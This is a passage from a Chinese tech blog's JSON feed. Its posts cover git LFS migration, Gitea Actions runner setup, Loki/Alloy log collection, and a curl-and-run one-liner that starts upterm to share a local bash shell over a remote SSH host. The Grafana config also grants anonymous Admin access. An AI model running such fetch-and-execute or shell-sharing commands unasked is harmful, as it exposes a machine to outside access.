style=\"color:#66d9ef\"\u003e$(\u003c/span\u003egit hash-object -w \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003epwd\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e/.gitattributes\u0026#34;\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit filter-repo --force --commit-callback \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;commit.file_changes.append(FileChange(b\u0026#39;M\u0026#39;, b\u0026#39;.gitattributes\u0026#39;, b\u0026#39;\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e${\u003c/span\u003eHASH\u003cspan style=\"color:#e6db74\"\u003e}\u003c/span\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;, b\u0026#39;100644\u0026#39;))\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e# 然后使用 --fixup 根据 .gitattributes 文件转换为 lfs 格式\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egit lfs migrate import --everything --fixup\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e注意：该方案仅适用于 gitattributes 文件中不包含 exclude 规则的情况\u003c/p\u003e","title":"迁移git仓库已有文件到 lfs"},{"content":" 1 TMP_DIR=$(mktemp -d) \u0026amp;\u0026amp; trap \u0026#39;rm -rf \u0026#34;$TMP_DIR\u0026#34;\u0026#39; EXIT \u0026amp;\u0026amp; curl -fsSL https://github.com/owenthereal/upterm/releases/download/v0.20.0/upterm_linux_amd64.tar.gz | tar -xz -C \u0026#34;$TMP_DIR\u0026#34; \u0026amp;\u0026amp; \u0026#34;$TMP_DIR\u0026#34;/upterm host \u0026amp;\u0026amp; rm -rf \u0026#34;$TMP_DIR\u0026#34; upterm 是 tmate.io 的替代品\n该命令会在执行完成后删除 upterm 文件\n然后会打印出来\n1 2 3 4 5 6 7 8 9 10 11 12 13 ╭─ Session: oNWF9treC2UudFSY7Ztx ─╮ ┌─────────┬────────────────────── ┐ │ Command: │ /bin/bash │ │ Force Command: │ n/a │ │ Host: │ ssh://uptermd.upterm.dev:22 │ │ Authorized Keys: │ n/a │ │ │ │ │ ➤ SSH Command: │ ssh oNWF9treC2UudFSY7Ztx@uptermd.upterm.dev │ └─────────┴────────────────────── ┘ ╰─ Run \u0026#39;upterm session current\u0026#39; to display this again ─╯ 🤝 Accept connections? [y/n] (or \u0026lt;ctrl-c\u0026gt; to force exit) 按 y 即可共享终端\n然后输入 exit 执行可退出共享终端\n其他人使用 ssh oNWF9treC2UudFSY7Ztx@uptermd.upterm.dev​ 即可连接到该共享终端\n其中 upterm 的服务器也可以自行部署\n","permalink":"https://www.hacktech.cn/post/2025/12/oneline-command-to-share-an-ssh-terminal-session-z1wqqxi/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e1\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTMP_DIR\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003e\u003cspan style=\"color:#66d9ef\"\u003e$(\u003c/span\u003emktemp -d\u003cspan style=\"color:#66d9ef\"\u003e)\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e trap \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;rm -rf \u0026#34;$TMP_DIR\u0026#34;\u0026#39;\u003c/span\u003e EXIT \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e curl -fsSL https://github.com/owenthereal/upterm/releases/download/v0.20.0/upterm_linux_amd64.tar.gz | tar -xz -C \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$TMP_DIR\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$TMP_DIR\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e/upterm host \u003cspan style=\"color:#f92672\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e rm -rf \u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e$TMP_DIR\u003cspan style=\"color:#e6db74\"\u003e\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003eupterm 是 tmate.io 的替代品\u003c/p\u003e\n\u003cp\u003e该命令会在执行完成后删除 upterm 文件\u003c/p\u003e\n\u003cp\u003e然后会打印出来\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-plaintext\" data-lang=\"plaintext\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e╭─ Session: oNWF9treC2UudFSY7Ztx ─╮\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e┌─────────┬────────────────────── ┐\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│ Command:         │ /bin/bash                                   │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│ Force Command:   │ n/a                                         │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│ Host:            │ ssh://uptermd.upterm.dev:22                 │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│ Authorized Keys: │ n/a                                         │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│                  │                                             │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e│ ➤ SSH Command:   │ ssh oNWF9treC2UudFSY7Ztx@uptermd.upterm.dev │\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e└─────────┴────────────────────── ┘\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e╰─ Run \u0026#39;upterm session current\u0026#39; to display this again ─╯\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e🤝 Accept connections? [y/n] (or \u0026lt;ctrl-c\u0026gt; to force exit)\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003cp\u003e按 y 即可共享终端\u003c/p\u003e","title":"一行命令共享 SSH 终端会话"},{"content":"部署 打开管理界面 -\u0026gt; Actions -\u0026gt; Runners\n创建 runner，复制 token，假设为 nU6hLEMzujntxxxxCBz0JxmikkyIySTmoY\n1 2 3 4 5 6 7 8 9 10 11 12 13 services: act_runner: image: docker.1panel.live/gitea/act_runner:nightly container_name: act_runner environment: GITEA_INSTANCE_URL: https://git.example.com GITEA_RUNNER_REGISTRATION_TOKEN: nU6hLEMzujntxxxxCBz0JxmikkyIySTmoY GITEA_RUNNER_NAME: 运行器名称 volumes: - /var/run/docker.sock:/var/run/docker.sock - ./data:/data - ./runner_cache:/root/.cache network_mode: host 部署完成，执行命令 sudo docker exec act_runner act_runner generate-config \u0026gt; config.yaml​\n修改 docker-compose.yml 文件，添加 - ./config.yaml:/config.yaml​ 到 volumes，并添加环境变量 CONFIG_FILE: /config.yaml​，参见 Act Runner | Gitea Documentation\n缓存配置：你可能会尝试按 Act Runner | Gitea Documentation 中提到的进行配置，但其实我们使用了 network_mode: host​，是不需要配置的\n配置优化 最终你的 docker-compose.yml 文件应该类似于\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 services: act_runner: image: docker.1panel.live/gitea/act_runner:nightly container_name: act_runner environment: GITEA_INSTANCE_URL: https://git.example.com GITEA_RUNNER_REGISTRATION_TOKEN: nU6hLEMzujntxxxxCBz0JxmikkyIySTmoY GITEA_RUNNER_NAME: 运行器名称 volumes: - ./config.yaml:/config.yaml - /var/run/docker.sock:/var/run/docker.sock - ./data:/data - ./runner_cache:/root/.cache network_mode: host Runner 镜像替换 打开 config.yaml\n默认的执行镜像为\n1 2 3 4 labels: - \u0026#34;ubuntu-latest:docker://docker.gitea.com/runner-images:ubuntu-latest\u0026#34; - \u0026#34;ubuntu-24.04:docker://docker.gitea.com/runner-images:ubuntu-24.04\u0026#34; - \u0026#34;ubuntu-22.04:docker://docker.gitea.com/runner-images:ubuntu-22.04\u0026#34; gitea 官方同时也在 DockerHub 推送了一份 https://hub.docker.com/r/gitea/runner-images\n但可能国内网络条件不好，可以采用将镜像推送到内网自建的 docker registry 或使用 DockerHub 镜像\n1 2 3 4 labels: - \u0026#34;ubuntu-latest:docker://docker.example.com/runner-images:ubuntu-latest\u0026#34; - \u0026#34;ubuntu-24.04:docker://docker.example.com/runner-images:ubuntu-24.04\u0026#34; - \u0026#34;ubuntu-22.04:docker://docker.example.com/runner-images:ubuntu-22.04\u0026#34; GHA 拉取地址替换 国内 git clone github 官方地址总是会有问题，在 #716 - feat: support github mirror - act_runner - Gitea: Git with a cup of tea 中，提供了对于 github mirror 的支持\n你可以找第三方的 github clone 镜像，也可以自己内网自建一个 github 镜像，比如我们自建一个 ghproxy.example.com\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 server { listen 80; server_name ghproxy.example.com; access_log /var/log/nginx/ghproxy.example.com.access.log; error_log /var/log/nginx/ghproxy.example.com.error.log warn; location / { proxy_pass https://github.com/; proxy_set_header Host github.com; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; # 大文件传输支持 client_max_body_size 0; proxy_request_buffering off; } } 然后打开 config.yaml，添加如下内容\n1 2 3 runner: ... github_mirror: \u0026#39;http://ghproxy.example.com\u0026#39; 如果你使用的是第三方比如 gitclone\n那也可以\n1 2 3 runner: ... github_mirror: \u0026#39;https://gitclone.com/github.com\u0026#39; action 中 docker 构建相关配置 如果你的 action runner 是固定的，那么最合适的方案应该是持久化一个 buildx 实例\n1 2 3 4 5 6 7 8 9 10 11 12 - name: Set up QEMU uses: docker/setup-qemu-action@v3 with: image: docker.example.com/tonistiigi/binfmt:latest - name: Set up Docker Buildx uses: docker/setup-buildx-action@v3 with: name: builder-act cleanup: false driver-opts: | image=docker.example.com/moby/buildkit:latest 可以看到，setup-qemu-action 和 setup-buildx-action 我们使用了自己的镜像来加速，避免网络问题\n其中 buildx 我们固定了 name，并且指定了 cleanup: false，这样能保证我们多次构建使用的是同一个 buildx 实例，能够加速构建，也不需要 action 本身的缓存实现\n如果你有很多个 runner，不使用 buildx 的 build cache，那么可以使用 gitea action runner 自带的缓存\nGolang 相关 action 我们知道 setup-go 和 goreleaser 这两个常用的 action 都是需要从 github 下载内容，网络不便，我 fork 了一份\n用法参见如下\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 - name: Set up Go uses: akkuman/gitea-setup-go@gitea with: go-version-file: go.mod skip-download-from-github: true offical-download-mirror: \u0026#39;https://mirrors.aliyun.com/golang\u0026#39; offical-download-metadata: \u0026#39;https://hub.gitmirror.com/https://github.com/akkuman/golang-dl-metadata/raw/refs/heads/master/metadata.json\u0026#39; - name: Run GoReleaser uses: akkuman/gitea-goreleaser-action@gitea with: github-release-mirror: \u0026#39;https://hub.gitmirror.com/https://github.com\u0026#39; distribution: goreleaser version: \u0026#39;~\u0026gt; v2\u0026#39; args: release --clean env: GITEA_TOKEN: ${{ secrets.PAT }} GITHUB_REPOSITORY_NAME: ${{ github.event.repository.name }} ‍\n","permalink":"https://www.hacktech.cn/post/2025/12/domestic-use-gitea-action-to-accelerate-c6vjp/","summary":"\u003ch2 id=\"部署\"\u003e部署\u003c/h2\u003e\n\u003col\u003e\n\u003cli\u003e\n\u003cp\u003e打开管理界面 -\u0026gt; Actions -\u0026gt; Runners\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e创建 runner，复制 token，假设为 nU6hLEMzujntxxxxCBz0JxmikkyIySTmoY\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\n\u003ctable style=\"border-spacing:0;padding:0;margin:0;border:0;\"\u003e\u003ctr\u003e\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 1\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 2\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 3\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 4\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 5\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 6\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 7\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 8\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e 9\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e10\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e11\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e12\n\u003c/span\u003e\u003cspan style=\"white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f\"\u003e13\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd style=\"vertical-align:top;padding:0;margin:0;border:0;;width:100%\"\u003e\n\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e \u003cspan style=\"color:#f92672\"\u003eservices\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e   \u003cspan style=\"color:#f92672\"\u003eact_runner\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#f92672\"\u003eimage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edocker.1panel.live/gitea/act_runner:nightly\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#f92672\"\u003econtainer_name\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eact_runner\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#f92672\"\u003eenvironment\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       \u003cspan style=\"color:#f92672\"\u003eGITEA_INSTANCE_URL\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehttps://git.example.com\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       \u003cspan style=\"color:#f92672\"\u003eGITEA_RUNNER_REGISTRATION_TOKEN\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003enU6hLEMzujntxxxxCBz0JxmikkyIySTmoY\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       \u003cspan style=\"color:#f92672\"\u003eGITEA_RUNNER_NAME\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003e运行器名称\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#f92672\"\u003evolumes\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       - \u003cspan style=\"color:#ae81ff\"\u003e/var/run/docker.sock:/var/run/docker.sock\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       - \u003cspan style=\"color:#ae81ff\"\u003e./data:/data\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e       - \u003cspan style=\"color:#ae81ff\"\u003e./runner_cache:/root/.cache\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e     \u003cspan style=\"color:#f92672\"\u003enetwork_mode\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003ehost\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e部署完成，执行命令 \u003ccode\u003esudo docker exec act_runner act_runner generate-config \u0026gt; config.yaml\u003c/code\u003e​\u003c/p\u003e","title":"国内使用 gitea action 加速"},{"content":"前言 使用 grafana + loki + alloy 搭建日志收集系统，该系统监控机器上 docker 容器日志，然后推送至 loki，使用 grafana 进行可视化查询\n相比于之前在代码中使用 promtail sdk 进行日志推送的方案，该方案无需懂代码\nconfig.alloy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 // ############################### // #### Logging Configuration #### // ############################### // Discover Docker containers and extract metadata. discovery.docker \u0026#34;linux\u0026#34; { host = \u0026#34;unix:///var/run/docker.sock\u0026#34; } // Define a relabeling rule to create a service name from the container name. discovery.relabel \u0026#34;logs_integrations_docker\u0026#34; { targets = [] rule { source_labels = [\u0026#34;__meta_docker_container_name\u0026#34;] regex = \u0026#34;/(.*)\u0026#34; target_label = \u0026#34;container_name\u0026#34; } rule { target_label = \u0026#34;instance\u0026#34; replacement = constants.hostname } } // Configure a loki.source.docker component to collect logs from Docker containers. loki.source.docker \u0026#34;default\u0026#34; { host = \u0026#34;unix:///var/run/docker.sock\u0026#34; targets = discovery.docker.linux.targets labels = {\u0026#34;logging\u0026#34; = \u0026#34;alloy\u0026#34;} relabel_rules = discovery.relabel.logs_integrations_docker.rules forward_to = [loki.write.local.receiver] } loki.write \u0026#34;local\u0026#34; { endpoint { url = \u0026#34;http://loki:3100/loki/api/v1/push\u0026#34; // basic_auth { // username = \u0026#34;\u0026lt;USERNAME\u0026gt;\u0026#34; // password = \u0026#34;\u0026lt;PASSWORD\u0026gt;\u0026#34; // } } } ​labels = {\u0026quot;logging\u0026quot; = \u0026quot;alloy\u0026quot;}​ 意味着给每一个日志条目添加 logging=\u0026quot;alloy\u0026quot;​ 的 label，然后推送至 loki，可用于区分不同主机的日志\n如果你希望对某些容器（而不是所有容器）进行日志收集，也可使用如下方式对容器进行过滤（详细解释请参见 discovery.docker | Grafana Alloy documentation）\n1 2 3 4 5 6 7 8 9 10 11 discovery.docker \u0026#34;example\u0026#34; { host = \u0026#34;unix:///var/run/docker.sock\u0026#34; filter { name = \u0026#34;label\u0026#34; values = [\u0026#34;com.example.monitoring=enabled\u0026#34;] } filter { name = \u0026#34;status\u0026#34; values = [\u0026#34;running\u0026#34;] } } ‍\nloki-config.yaml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 # This is a complete configuration to deploy Loki backed by the filesystem. # The index will be shipped to the storage via tsdb-shipper. auth_enabled: false limits_config: retention_period: 720h allow_structured_metadata: true volume_enabled: true reject_old_samples: false distributor: otlp_config: # List of default otlp resource attributes to be picked as index labels # CLI flag: -distributor.otlp.default_resource_attributes_as_index_labels default_resource_attributes_as_index_labels: [service.name service.namespace service.instance.id deployment.environment deployment.environment.name cloud.region cloud.availability_zone k8s.cluster.name k8s.namespace.name k8s.container.name container.name k8s.replicaset.name k8s.deployment.name k8s.statefulset.name k8s.daemonset.name k8s.cronjob.name k8s.job.name] server: http_listen_port: 3100 common: ring: instance_addr: 0.0.0.0 kvstore: store: inmemory replication_factor: 1 path_prefix: /loki schema_config: configs: - from: 2020-05-15 store: tsdb object_store: filesystem schema: v13 index: prefix: index_ period: 24h compactor: retention_enabled: true delete_request_store: filesystem storage_config: tsdb_shipper: active_index_directory: /loki/index cache_location: /loki/index_cache filesystem: directory: /loki/chunks pattern_ingester: enabled: true ​retention_period: 720h​ 意味着保留 720h 的日志供查询\n​reject_old_samples: false​ 意味着接收比较老的日志，对于需要收集之前的日志的场景比较有用\ndocker-compose.yml 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 version: \u0026#39;3\u0026#39; services: loki: image: docker.io/grafana/loki:3.5.5 ports: - \u0026#34;3100:3100\u0026#34; volumes: - ./loki-config.yaml:/etc/loki/local-config.yaml - ./lokidata:/loki command: -config.file=/etc/loki/local-config.yaml grafana: image: docker.io/grafana/grafana:12.0.2 environment: - GF_AUTH_ANONYMOUS_ORG_ROLE=Admin - GF_AUTH_ANONYMOUS_ENABLED=true - GF_AUTH_BASIC_ENABLED=false ports: - 3000:3000/tcp entrypoint: - sh - -euc - | mkdir -p /etc/grafana/provisioning/datasources cat \u0026lt;\u0026lt;EOF \u0026gt; /etc/grafana/provisioning/datasources/ds.yaml apiVersion: 1 datasources: - name: Loki type: loki access: proxy orgId: 1 url: http://loki:3100 basicAuth: false isDefault: false version: 1 editable: false EOF /run.sh alloy: image: docker.io/grafana/alloy:v1.10.2 privileged: true ports: - 12345:12345 - 4317:4317 - 4318:4318 volumes: - ./config.alloy:/etc/alloy/config.alloy - /var/run/docker.sock:/var/run/docker.sock - /:/rootfs:ro - /var/run:/var/run:rw - /sys:/sys:ro - /var/lib/docker/:/var/lib/docker:ro - /dev/disk/:/dev/disk:ro command: run --server.http.listen-addr=0.0.0.0:12345 --storage.path=/var/lib/alloy/data /etc/alloy/config.alloy 运行 1 2 3 mkdir -p lokidata chmod 777 lokidata docker compose up -d 效果 alloy 将持续拉取 docker 容器（含有特定 label）的日志，推送到 loki 供查询，grafana 可以用来可视化查询\nReference 使用 Grafana Alloy 监控 Docker 容器 | Grafana Alloy 文档 \u0026mdash; Monitor Docker containers with Grafana Alloy | Grafana Alloy documentation ","permalink":"https://www.hacktech.cn/post/2025/09/noninvasive-container-log-collection-ixrkp/","summary":"\u003ch2 id=\"前言\"\u003e前言\u003c/h2\u003e\n\u003cp\u003e使用 grafana + loki + alloy 